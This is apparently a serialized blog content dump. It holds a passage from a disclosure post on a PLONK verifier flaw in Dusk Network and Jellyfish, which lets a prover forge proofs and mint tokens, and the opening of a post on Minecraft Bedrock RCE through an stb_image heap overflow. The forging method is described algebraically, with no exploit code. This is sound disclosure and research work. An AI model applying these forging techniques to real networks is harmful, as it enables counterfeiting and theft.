",{"type":24,"tag":10648,"props":153201,"children":153202},{},[153203],{"type":29,"value":153204},"should",{"type":29,"value":153206}," evaluate to for the pairing check to pass, then solves for ",{"type":24,"tag":135,"props":153208,"children":153210},{"className":153209},[],[153211],{"type":29,"value":152725},{"type":29,"value":153213},", the single free variable that makes the verification equation balance (setting ",{"type":24,"tag":135,"props":153215,"children":153217},{"className":153216},[],[153218],{"type":29,"value":153219},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":28429},{"type":24,"tag":25,"props":153222,"children":153223},{},[153224],{"type":24,"tag":74,"props":153225,"children":153228},{"alt":153226,"src":153227},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":24,"tag":25,"props":153230,"children":153231},{},[153232,153234,153274,153276,153301,153303,153308],{"type":29,"value":153233},"To achieve this one may compute the linearization polynomial ",{"type":24,"tag":135,"props":153235,"children":153237},{"className":153236},[11705,11706],[153238],{"type":24,"tag":271,"props":153239,"children":153241},{"className":153240},[11711],[153242],{"type":24,"tag":271,"props":153243,"children":153245},{"className":153244,"ariaHidden":5670},[11716],[153246],{"type":24,"tag":271,"props":153247,"children":153249},{"className":153248},[11721],[153250,153254,153259,153264,153269],{"type":24,"tag":271,"props":153251,"children":153253},{"className":153252,"style":11831},[11726],[],{"type":24,"tag":271,"props":153255,"children":153257},{"className":153256,"style":99837},[11732,29273],[153258],{"type":29,"value":100656},{"type":24,"tag":271,"props":153260,"children":153262},{"className":153261},[29402],[153263],{"type":29,"value":606},{"type":24,"tag":271,"props":153265,"children":153267},{"className":153266},[11732,29273],[153268],{"type":29,"value":6034},{"type":24,"tag":271,"props":153270,"children":153272},{"className":153271},[29424],[153273],{"type":29,"value":2693},{"type":29,"value":153275}," with all selectors set to zero, evaluating it at ",{"type":24,"tag":135,"props":153277,"children":153279},{"className":153278},[11705,11706],[153280],{"type":24,"tag":271,"props":153281,"children":153283},{"className":153282},[11711],[153284],{"type":24,"tag":271,"props":153285,"children":153287},{"className":153286,"ariaHidden":5670},[11716],[153288],{"type":24,"tag":271,"props":153289,"children":153291},{"className":153290},[11721],[153292,153296],{"type":24,"tag":271,"props":153293,"children":153295},{"className":153294,"style":117678},[11726],[],{"type":24,"tag":271,"props":153297,"children":153299},{"className":153298,"style":120394},[11732,29273],[153300],{"type":29,"value":120397},{"type":29,"value":153302},", and comparing to the target value; the difference divided by the coefficient of ",{"type":24,"tag":135,"props":153304,"children":153306},{"className":153305},[],[153307],{"type":29,"value":152725},{"type":29,"value":153309}," gives the required value in a single field division.",{"type":24,"tag":26485,"props":153311,"children":153312},{},[],{"type":24,"tag":62,"props":153314,"children":153316},{"id":153315},"impact-on-dusk-network",[153317],{"type":29,"value":153318},"Impact on Dusk Network",{"type":24,"tag":25,"props":153320,"children":153321},{},[153322,153324,153331],{"type":29,"value":153323},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":24,"tag":32,"props":153325,"children":153328},{"href":153326,"rel":153327},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[36],[153329],{"type":29,"value":153330},"preverify path",{"type":29,"value":153332},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":24,"tag":3834,"props":153334,"children":153335},{},[153336,153341,153346],{"type":24,"tag":101,"props":153337,"children":153338},{},[153339],{"type":29,"value":153340},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":24,"tag":101,"props":153342,"children":153343},{},[153344],{"type":29,"value":153345},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":24,"tag":101,"props":153347,"children":153348},{},[153349],{"type":29,"value":153350},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":24,"tag":25,"props":153352,"children":153353},{},[153354],{"type":29,"value":153355},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":24,"tag":3834,"props":153357,"children":153358},{},[153359,153364,153374,153386,153391],{"type":24,"tag":101,"props":153360,"children":153361},{},[153362],{"type":29,"value":153363},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":24,"tag":101,"props":153365,"children":153366},{},[153367,153369],{"type":29,"value":153368},"The malicious wallet forges a PLONK proof to create ",{"type":24,"tag":213,"props":153370,"children":153371},{},[153372],{"type":29,"value":153373},"2000 DUSK from nothing",{"type":24,"tag":101,"props":153375,"children":153376},{},[153377,153379,153384],{"type":29,"value":153378},"The malicious wallet transfers ",{"type":24,"tag":213,"props":153380,"children":153381},{},[153382],{"type":29,"value":153383},"1337 DUSK",{"type":29,"value":153385}," to the honest wallet using a normal (honestly-proved) transaction",{"type":24,"tag":101,"props":153387,"children":153388},{},[153389],{"type":29,"value":153390},"The honest node validates both transactions and mines them into blocks",{"type":24,"tag":101,"props":153392,"children":153393},{},[153394],{"type":29,"value":153395},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":24,"tag":25,"props":153397,"children":153398},{},[153399],{"type":24,"tag":74,"props":153400,"children":153403},{"alt":153401,"src":153402},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":24,"tag":25,"props":153405,"children":153406},{},[153407,153409,153415,153417,153424],{"type":29,"value":153408},"At the time of discovery, DUSK's market cap was roughly ",{"type":24,"tag":32,"props":153410,"children":153412},{"href":148710,"rel":153411},[36],[153413],{"type":29,"value":153414},"~60M",{"type":29,"value":153416},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":24,"tag":32,"props":153418,"children":153421},{"href":153419,"rel":153420},"https://neptune.cash/articles/critical-vulnerability-disclosure",[36],[153422],{"type":29,"value":153423},"Triton VM vulnerability",{"type":29,"value":41},{"type":24,"tag":26485,"props":153426,"children":153427},{},[],{"type":24,"tag":62,"props":153429,"children":153431},{"id":153430},"the-fix",[153432],{"type":29,"value":153433},"The fix",{"type":24,"tag":25,"props":153435,"children":153436},{},[153437],{"type":29,"value":153438},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":24,"tag":97,"props":153440,"children":153441},{},[153442,153487],{"type":24,"tag":101,"props":153443,"children":153444},{},[153445,153447,153458,153460,153466,153467,153473,153474,153480,153481],{"type":29,"value":153446},"Extend ",{"type":24,"tag":32,"props":153448,"children":153451},{"href":153449,"rel":153450},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[36],[153452],{"type":24,"tag":135,"props":153453,"children":153455},{"className":153454},[],[153456],{"type":29,"value":153457},"compute_aggregate_witness",{"type":29,"value":153459}," on the prover side to also include ",{"type":24,"tag":135,"props":153461,"children":153463},{"className":153462},[],[153464],{"type":29,"value":153465},"q_arith",{"type":29,"value":158},{"type":24,"tag":135,"props":153468,"children":153470},{"className":153469},[],[153471],{"type":29,"value":153472},"q_c",{"type":29,"value":158},{"type":24,"tag":135,"props":153475,"children":153477},{"className":153476},[],[153478],{"type":29,"value":153479},"q_l",{"type":29,"value":14204},{"type":24,"tag":135,"props":153482,"children":153484},{"className":153483},[],[153485],{"type":29,"value":153486},"q_r",{"type":24,"tag":101,"props":153488,"children":153489},{},[153490,153492,153502],{"type":29,"value":153491},"Add their evaluations to ",{"type":24,"tag":32,"props":153493,"children":153496},{"href":153494,"rel":153495},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[36],[153497],{"type":24,"tag":135,"props":153498,"children":153500},{"className":153499},[],[153501],{"type":29,"value":152604},{"type":29,"value":153503}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":24,"tag":25,"props":153505,"children":153506},{},[153507,153509,153516],{"type":29,"value":153508},"This was done in ",{"type":24,"tag":32,"props":153510,"children":153513},{"href":153511,"rel":153512},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[36],[153514],{"type":29,"value":153515},"commit 645265b7",{"type":29,"value":153517},", which landed on February 14, 2026.",{"type":24,"tag":26485,"props":153519,"children":153520},{},[],{"type":24,"tag":62,"props":153522,"children":153524},{"id":153523},"why-was-this-missed",[153525],{"type":29,"value":153526},"Why was this missed?",{"type":24,"tag":25,"props":153528,"children":153529},{},[153530,153532,153539,153540,153547,153549,153556,153558,153565],{"type":29,"value":153531},"Dusk's stack had been heavily audited: a ",{"type":24,"tag":32,"props":153533,"children":153536},{"href":153534,"rel":153535},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[36],[153537],{"type":29,"value":153538},"December 2023 audit of dusk-plonk",{"type":29,"value":131180},{"type":24,"tag":32,"props":153541,"children":153544},{"href":153542,"rel":153543},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[36],[153545],{"type":29,"value":153546},"September 2024 audit of Phoenix",{"type":29,"value":153548},", and a ",{"type":24,"tag":32,"props":153550,"children":153553},{"href":153551,"rel":153552},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[36],[153554],{"type":29,"value":153555},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":153557},". Dusk's public ",{"type":24,"tag":32,"props":153559,"children":153562},{"href":153560,"rel":153561},"https://dusk.network/news/audits-overview",[36],[153563],{"type":29,"value":153564},"audits overview",{"type":29,"value":153566}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":24,"tag":25,"props":153568,"children":153569},{},[153570,153572,153577],{"type":29,"value":153571},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":24,"tag":10648,"props":153573,"children":153574},{},[153575],{"type":29,"value":153576},"evaluations",{"type":29,"value":41},{"type":24,"tag":25,"props":153579,"children":153580},{},[153581],{"type":29,"value":153582},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":24,"tag":25,"props":153584,"children":153585},{},[153586],{"type":29,"value":153587},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":24,"tag":62,"props":153589,"children":153591},{"id":153590},"a-similar-bug-in-espresso-systems-jellyfish",[153592],{"type":29,"value":153593},"A similar bug in Espresso Systems' Jellyfish",{"type":24,"tag":25,"props":153595,"children":153596},{},[153597,153599,153606],{"type":29,"value":153598},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":24,"tag":32,"props":153600,"children":153603},{"href":153601,"rel":153602},"https://github.com/EspressoSystems/jellyfish/",[36],[153604],{"type":29,"value":153605},"jf-plonk",{"type":29,"value":153607}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":24,"tag":25,"props":153609,"children":153610},{},[153611,153613,153620,153622,153633,153635,153660,153662,153687],{"type":29,"value":153612},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":24,"tag":32,"props":153614,"children":153617},{"href":153615,"rel":153616},"https://eprint.iacr.org/2020/315",[36],[153618],{"type":29,"value":153619},"Plookup",{"type":29,"value":153621}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":24,"tag":32,"props":153623,"children":153626},{"href":153624,"rel":153625},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[36],[153627],{"type":24,"tag":135,"props":153628,"children":153630},{"className":153629},[],[153631],{"type":29,"value":153632},"append_plookup_evaluations",{"type":29,"value":153634}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":24,"tag":135,"props":153636,"children":153638},{"className":153637},[11705,11706],[153639],{"type":24,"tag":271,"props":153640,"children":153642},{"className":153641},[11711],[153643],{"type":24,"tag":271,"props":153644,"children":153646},{"className":153645,"ariaHidden":5670},[11716],[153647],{"type":24,"tag":271,"props":153648,"children":153650},{"className":153649},[11721],[153651,153655],{"type":24,"tag":271,"props":153652,"children":153654},{"className":153653,"style":117678},[11726],[],{"type":24,"tag":271,"props":153656,"children":153658},{"className":153657,"style":100323},[11732,29273],[153659],{"type":29,"value":120741},{"type":29,"value":153661}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":24,"tag":135,"props":153663,"children":153665},{"className":153664},[11705,11706],[153666],{"type":24,"tag":271,"props":153667,"children":153669},{"className":153668},[11711],[153670],{"type":24,"tag":271,"props":153671,"children":153673},{"className":153672,"ariaHidden":5670},[11716],[153674],{"type":24,"tag":271,"props":153675,"children":153677},{"className":153676},[11721],[153678,153682],{"type":24,"tag":271,"props":153679,"children":153681},{"className":153680,"style":117678},[11726],[],{"type":24,"tag":271,"props":153683,"children":153685},{"className":153684,"style":100323},[11732,29273],[153686],{"type":29,"value":120741},{"type":29,"value":153688},", so the prover can adjust them after the fact to make the check pass.",{"type":24,"tag":25,"props":153690,"children":153691},{},[153692,153694,153700,153702,153708],{"type":29,"value":153693},"The attack requires modifying a single evaluation (",{"type":24,"tag":135,"props":153695,"children":153697},{"className":153696},[],[153698],{"type":29,"value":153699},"key_table_next_eval",{"type":29,"value":153701},") by ",{"type":24,"tag":135,"props":153703,"children":153705},{"className":153704},[],[153706],{"type":29,"value":153707},"delta / (u * v^3)",{"type":29,"value":153709}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":24,"tag":25,"props":153711,"children":153712},{},[153713,153715,153722,153724,153735],{"type":29,"value":153714},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":24,"tag":32,"props":153716,"children":153719},{"href":153717,"rel":153718},"https://github.com/EspressoSystems/jellyfish/pull/867",[36],[153720],{"type":29,"value":153721},"PR #867",{"type":29,"value":153723}," fixed the issue and was tagged as ",{"type":24,"tag":32,"props":153725,"children":153728},{"href":153726,"rel":153727},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[36],[153729],{"type":24,"tag":135,"props":153730,"children":153732},{"className":153731},[],[153733],{"type":29,"value":153734},"jf-plonk-v0.8.0",{"type":29,"value":153736}," on March 18, 2026.",{"type":24,"tag":26485,"props":153738,"children":153739},{},[],{"type":24,"tag":62,"props":153741,"children":153743},{"id":153742},"toward-standardization",[153744],{"type":29,"value":153745},"Toward standardization",{"type":24,"tag":25,"props":153747,"children":153748},{},[153749,153751,153758],{"type":29,"value":153750},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":24,"tag":32,"props":153752,"children":153755},{"href":153753,"rel":153754},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[36],[153756],{"type":29,"value":153757},"similar patterns appear across zkVMs",{"type":29,"value":153759},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":24,"tag":25,"props":153761,"children":153762},{},[153763],{"type":29,"value":153764},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":24,"tag":25,"props":153766,"children":153767},{},[153768],{"type":29,"value":153769},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":24,"tag":62,"props":153771,"children":153772},{"id":10508},[153773],{"type":29,"value":153774},"Disclosure timeline",{"type":24,"tag":5389,"props":153776,"children":153777},{},[153778,153794],{"type":24,"tag":129788,"props":153779,"children":153780},{},[153781],{"type":24,"tag":129792,"props":153782,"children":153783},{},[153784,153789],{"type":24,"tag":129796,"props":153785,"children":153786},{},[153787],{"type":29,"value":153788},"Date",{"type":24,"tag":129796,"props":153790,"children":153791},{},[153792],{"type":29,"value":153793},"Event",{"type":24,"tag":129816,"props":153795,"children":153796},{},[153797,153810,153823,153835,153861,153881],{"type":24,"tag":129792,"props":153798,"children":153799},{},[153800,153805],{"type":24,"tag":129823,"props":153801,"children":153802},{},[153803],{"type":29,"value":153804},"2026-02-13",{"type":24,"tag":129823,"props":153806,"children":153807},{},[153808],{"type":29,"value":153809},"Dusk vulnerability reported",{"type":24,"tag":129792,"props":153811,"children":153812},{},[153813,153818],{"type":24,"tag":129823,"props":153814,"children":153815},{},[153816],{"type":29,"value":153817},"2026-02-14",{"type":24,"tag":129823,"props":153819,"children":153820},{},[153821],{"type":29,"value":153822},"Dusk acknowledged",{"type":24,"tag":129792,"props":153824,"children":153825},{},[153826,153830],{"type":24,"tag":129823,"props":153827,"children":153828},{},[153829],{"type":29,"value":153817},{"type":24,"tag":129823,"props":153831,"children":153832},{},[153833],{"type":29,"value":153834},"Dusk fix committed",{"type":24,"tag":129792,"props":153836,"children":153837},{},[153838,153843],{"type":24,"tag":129823,"props":153839,"children":153840},{},[153841],{"type":29,"value":153842},"2026-02-27",{"type":24,"tag":129823,"props":153844,"children":153845},{},[153846,153848,153859],{"type":29,"value":153847},"Public ",{"type":24,"tag":32,"props":153849,"children":153852},{"href":153850,"rel":153851},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[36],[153853],{"type":24,"tag":135,"props":153854,"children":153856},{"className":153855},[],[153857],{"type":29,"value":153858},"dusk-rusk-1.6.0",{"type":29,"value":153860}," release published",{"type":24,"tag":129792,"props":153862,"children":153863},{},[153864,153869],{"type":24,"tag":129823,"props":153865,"children":153866},{},[153867],{"type":29,"value":153868},"2026-03-16",{"type":24,"tag":129823,"props":153870,"children":153871},{},[153872,153874,153880],{"type":29,"value":153873},"Jellyfish fix PR opened (",{"type":24,"tag":32,"props":153875,"children":153877},{"href":153717,"rel":153876},[36],[153878],{"type":29,"value":153879},"#867",{"type":29,"value":2693},{"type":24,"tag":129792,"props":153882,"children":153883},{},[153884,153889],{"type":24,"tag":129823,"props":153885,"children":153886},{},[153887],{"type":29,"value":153888},"2026-03-18",{"type":24,"tag":129823,"props":153890,"children":153891},{},[153892,153894,153899,153901],{"type":29,"value":153893},"Jellyfish fix merged in ",{"type":24,"tag":32,"props":153895,"children":153897},{"href":153717,"rel":153896},[36],[153898],{"type":29,"value":153879},{"type":29,"value":153900}," and tagged as ",{"type":24,"tag":32,"props":153902,"children":153904},{"href":153726,"rel":153903},[36],[153905],{"type":24,"tag":135,"props":153906,"children":153908},{"className":153907},[],[153909],{"type":29,"value":153734},{"type":24,"tag":62,"props":153911,"children":153913},{"id":153912},"acknowledgements",[153914],{"type":29,"value":153915},"Acknowledgements",{"type":24,"tag":25,"props":153917,"children":153918},{},[153919],{"type":29,"value":153920},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":284,"depth":284,"links":153922},[153923,153930,153931,153932,153933,153934,153935,153936,153937,153938,153939,153940],{"id":148740,"depth":284,"text":148743,"children":153924},[153925,153926,153927,153928,153929],{"id":148765,"depth":294,"text":148768},{"id":149568,"depth":294,"text":149571},{"id":150766,"depth":294,"text":150769},{"id":150796,"depth":294,"text":150799},{"id":151077,"depth":294,"text":151080},{"id":151810,"depth":284,"text":151813},{"id":151948,"depth":284,"text":151951},{"id":97091,"depth":284,"text":152579},{"id":153178,"depth":284,"text":153181},{"id":153315,"depth":284,"text":153318},{"id":153430,"depth":284,"text":153433},{"id":153523,"depth":284,"text":153526},{"id":153590,"depth":284,"text":153593},{"id":153742,"depth":284,"text":153745},{"id":10508,"depth":284,"text":153774},{"id":153912,"depth":284,"text":153915},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":153945,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":153946,"description":153947,"date":153948,"author":130447,"image":153949,"isFeatured":16,"onBlogPage":16,"tags":153951,"body":153954,"_type":10599,"_id":163334,"_source":10601,"_file":163335,"_stem":163336,"_extension":10604},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":153950,"width":104058,"height":21324},"/posts/minecraft-heap-overflow-to-rce/title.png",[153952,153953],"minecraft","rce",{"type":21,"children":153955,"toc":163311},[153956,153961,153966,153971,153977,153982,154001,154006,154012,154017,154022,154028,154033,154038,154043,154049,154054,154059,154065,154085,154097,154104,154126,154140,154147,154153,154163,154183,154188,154194,154207,154552,154557,154565,154571,154590,154898,154926,154969,154981,154989,154994,155463,155482,155503,155845,155869,156141,156165,156192,156401,156420,156428,156447,156453,156515,156518,156540,156544,156549,156554,156560,156565,156579,156585,156599,156605,156618,156623,156631,156636,156642,156663,156671,156684,156687,156692,156706,156711,156716,156722,156727,156750,156755,156761,156766,156778,156790,156904,156924,156929,156934,156940,156945,156965,157580,157593,158667,158672,158680,158685,158691,158696,158704,158717,158722,158727,158734,158747,158752,158759,158814,158834,158841,158860,158867,158870,158875,158880,158886,158898,158911,158919,158990,159001,159035,159043,159048,159053,159059,159071,159090,159102,159107,159115,159134,159142,159161,159169,159195,159203,159208,159216,159221,159229,159232,159237,159242,159248,159261,159279,159317,159347,159355,159360,159366,159371,159376,159382,159394,159563,159575,159583,159588,159595,159600,159661,159708,159720,159725,159751,159825,159863,159868,159876,159897,159902,159928,159962,160015,160062,160068,160087,160119,160127,160230,160301,160307,160333,160340,160345,160352,160357,160598,160624,160629,160677,160682,160688,160720,160732,160764,160772,160811,160819,160824,160832,160837,160845,160857,160865,160877,160885,160897,160917,160923,160943,160960,160968,160980,160988,161007,161012,161020,161025,161033,161059,161070,161077,161082,161090,161095,161103,161108,161116,161121,161129,161134,161142,161147,161155,161196,161203,161208,161216,161221,161229,161234,161242,161247,161252,161260,161265,161273,161299,161307,161333,161341,161346,161354,161359,161367,161375,161380,161388,161393,161401,161404,161415,161449,161467,161475,161495,161501,161520,161578,161598,161606,161609,161648,161708,161713,161719,161732,161740,161792,161831,161839,161872,161875,161895,161903,161909,161914,161922,161962,162003,162023,162028,162033,162051,162057,162062,162081,162142,162150,162176,162182,162202,162207,162212,162219,162284,162289,162296,162317,162322,162334,162340,162373,162380,162385,162413,162420,162476,162488,162495,162556,162575,162581,162615,162636,162663,162671,162724,162794,162800,162820,162863,162868,163266,163272,163277,163288,163292,163297,163302,163307],{"type":24,"tag":43040,"props":153957,"children":153959},{"id":153958},"pwning-minecraft-4-byte-heap-overflow-to-rce",[153960],{"type":29,"value":153946},{"type":24,"tag":25,"props":153962,"children":153963},{},[153964],{"type":29,"value":153965},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":24,"tag":25,"props":153967,"children":153968},{},[153969],{"type":29,"value":153970},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":24,"tag":62,"props":153972,"children":153974},{"id":153973},"the-target",[153975],{"type":29,"value":153976},"The Target",{"type":24,"tag":25,"props":153978,"children":153979},{},[153980],{"type":29,"value":153981},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":24,"tag":25,"props":153983,"children":153984},{},[153985,153987,153992,153994,153999],{"type":29,"value":153986},"There are two main editions: ",{"type":24,"tag":213,"props":153988,"children":153989},{},[153990],{"type":29,"value":153991},"Minecraft Java Edition",{"type":29,"value":153993},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":24,"tag":213,"props":153995,"children":153996},{},[153997],{"type":29,"value":153998},"Minecraft Bedrock Edition",{"type":29,"value":154000},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":24,"tag":25,"props":154002,"children":154003},{},[154004],{"type":29,"value":154005},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":24,"tag":85,"props":154007,"children":154009},{"id":154008},"choice-of-context",[154010],{"type":29,"value":154011},"Choice of Context",{"type":24,"tag":25,"props":154013,"children":154014},{},[154015],{"type":29,"value":154016},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":24,"tag":25,"props":154018,"children":154019},{},[154020],{"type":29,"value":154021},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":24,"tag":85,"props":154023,"children":154025},{"id":154024},"resource-packs",[154026],{"type":29,"value":154027},"Resource Packs",{"type":24,"tag":25,"props":154029,"children":154030},{},[154031],{"type":29,"value":154032},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":24,"tag":25,"props":154034,"children":154035},{},[154036],{"type":29,"value":154037},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":24,"tag":25,"props":154039,"children":154040},{},[154041],{"type":29,"value":154042},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":24,"tag":62,"props":154044,"children":154046},{"id":154045},"finding-a-memory-corruption-bug",[154047],{"type":29,"value":154048},"Finding a Memory Corruption Bug",{"type":24,"tag":25,"props":154050,"children":154051},{},[154052],{"type":29,"value":154053},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":24,"tag":25,"props":154055,"children":154056},{},[154057],{"type":29,"value":154058},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":24,"tag":85,"props":154060,"children":154062},{"id":154061},"locating-image-parsing-code",[154063],{"type":29,"value":154064},"Locating Image Parsing Code",{"type":24,"tag":25,"props":154066,"children":154067},{},[154068,154070,154076,154077,154083],{"type":29,"value":154069},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":24,"tag":135,"props":154071,"children":154073},{"className":154072},[],[154074],{"type":29,"value":154075},"PNG",{"type":29,"value":20834},{"type":24,"tag":135,"props":154078,"children":154080},{"className":154079},[],[154081],{"type":29,"value":154082},"GIF",{"type":29,"value":154084}," and look for error logging or other messages that use those substrings.",{"type":24,"tag":25,"props":154086,"children":154087},{},[154088,154090,154095],{"type":29,"value":154089},"Searching for the string ",{"type":24,"tag":135,"props":154091,"children":154093},{"className":154092},[],[154094],{"type":29,"value":154082},{"type":29,"value":154096}," returned some interesting results:",{"type":24,"tag":25,"props":154098,"children":154099},{},[154100],{"type":24,"tag":74,"props":154101,"children":154103},{"alt":76,"src":154102},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":24,"tag":25,"props":154105,"children":154106},{},[154107,154109,154116,154118,154125],{"type":29,"value":154108},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":24,"tag":32,"props":154110,"children":154113},{"href":154111,"rel":154112},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[36],[154114],{"type":29,"value":154115},"stb_image.h",{"type":29,"value":154117},". For an example: usage of ",{"type":24,"tag":32,"props":154119,"children":154122},{"href":154120,"rel":154121},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[36],[154123],{"type":29,"value":154124},"bad Image Descriptor",{"type":29,"value":41},{"type":24,"tag":25,"props":154127,"children":154128},{},[154129,154131,154138],{"type":29,"value":154130},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":24,"tag":32,"props":154132,"children":154135},{"href":154133,"rel":154134},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[36],[154136],{"type":29,"value":154137},"stbi__gif_load_next",{"type":29,"value":154139},", and loaded the resource pack - this confirmed its usage:",{"type":24,"tag":25,"props":154141,"children":154142},{},[154143],{"type":24,"tag":74,"props":154144,"children":154146},{"alt":76,"src":154145},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":24,"tag":85,"props":154148,"children":154150},{"id":154149},"stb-image-library",[154151],{"type":29,"value":154152},"STB Image Library",{"type":24,"tag":25,"props":154154,"children":154155},{},[154156,154161],{"type":24,"tag":135,"props":154157,"children":154159},{"className":154158},[],[154160],{"type":29,"value":154115},{"type":29,"value":154162}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 